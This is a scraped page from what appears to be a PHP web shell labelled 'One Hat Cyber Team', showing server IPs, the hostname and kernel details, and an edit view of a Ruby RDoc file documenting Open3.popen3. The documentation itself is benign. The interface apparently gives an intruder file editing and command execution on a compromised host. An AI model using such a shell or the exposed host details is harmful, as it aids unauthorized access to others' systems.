⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
2.7.0
/
system
/
Open3
/
Edit File: popen3-i.ri
U:RDoc::AnyMethod[iI"popen3:ETI"Open3#popen3;TF:privateo:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [ I"KOpen stdin, stdout, and stderr streams and start external executable. ;TI"GIn addition, a thread to wait for the started process is created. ;TI"PThe thread has a pid method and a thread variable :pid which is the pid of ;TI"the started process.;To:RDoc::Markup::BlankLine o; ; [I"Block form:;T@o:RDoc::Markup::Verbatim; [ I"MOpen3.popen3([env,] cmd... [, opts]) {|stdin, stdout, stderr, wait_thr| ;TI"8 pid = wait_thr.pid # pid of the started process. ;TI" ... ;TI"G exit_status = wait_thr.value # Process::Status object returned. ;TI"} ;T:@format0o; ; [I"Non-block form:;T@o;; [I"Lstdin, stdout, stderr, wait_thr = Open3.popen3([env,] cmd... [, opts]) ;TI"8pid = wait_thr[:pid] # pid of the started process ;TI" ... ;TI"Wstdin.close # stdin, stdout and stderr should be closed explicitly in this form. ;TI"stdout.close ;TI"stderr.close ;TI"Fexit_status = wait_thr.value # Process::Status object returned. ;T; 0o; ; [I"DThe parameters env, cmd, and opts are passed to Process.spawn. ;TI"TA commandline string and a list of argument strings can be accepted as follows:;T@o;; [I"2Open3.popen3("echo abc") {|i, o, e, t| ... } ;TI"5Open3.popen3("echo", "abc") {|i, o, e, t| ... } ;TI"@Open3.popen3(["echo", "argv0"], "abc") {|i, o, e, t| ... } ;T; 0o; ; [I"]If the last parameter, opts, is a Hash, it is recognized as an option for Process.spawn.;T@o;; [I"1Open3.popen3("pwd", :chdir=>"/") {|i,o,e,t| ;TI" p o.read.chomp #=> "/" ;TI"} ;T; 0o; ; [I">wait_thr.value waits for the termination of the process. ;TI"?The block form also waits for the process when it returns.;T@o; ; [I"PClosing stdin, stdout and stderr does not wait for the process to complete.;T@o; ; [ I"/You should be careful to avoid deadlocks. ;TI"+Since pipes are fixed length buffers, ;TI">Open3.popen3("prog") {|i, o, e, t| o.read } deadlocks if ;TI"6the program generates too much output on stderr. ;TI"TYou should read stdout and stderr simultaneously (using threads or IO.select). ;TI"IHowever, if you don't need stderr output, you can use Open3.popen2. ;TI"UIf merged stdout and stderr output is not a problem, you can use Open3.popen2e. ;TI"fIf you really need stdout and stderr output as separate strings, you can consider Open3.capture3.;T: @fileI"lib/open3.rb;T:0@omit_headings_from_table_of_contents_below000[ I"(*cmd, &block);T@JFI" Open3;TcRDoc::NormalModule00
Simpan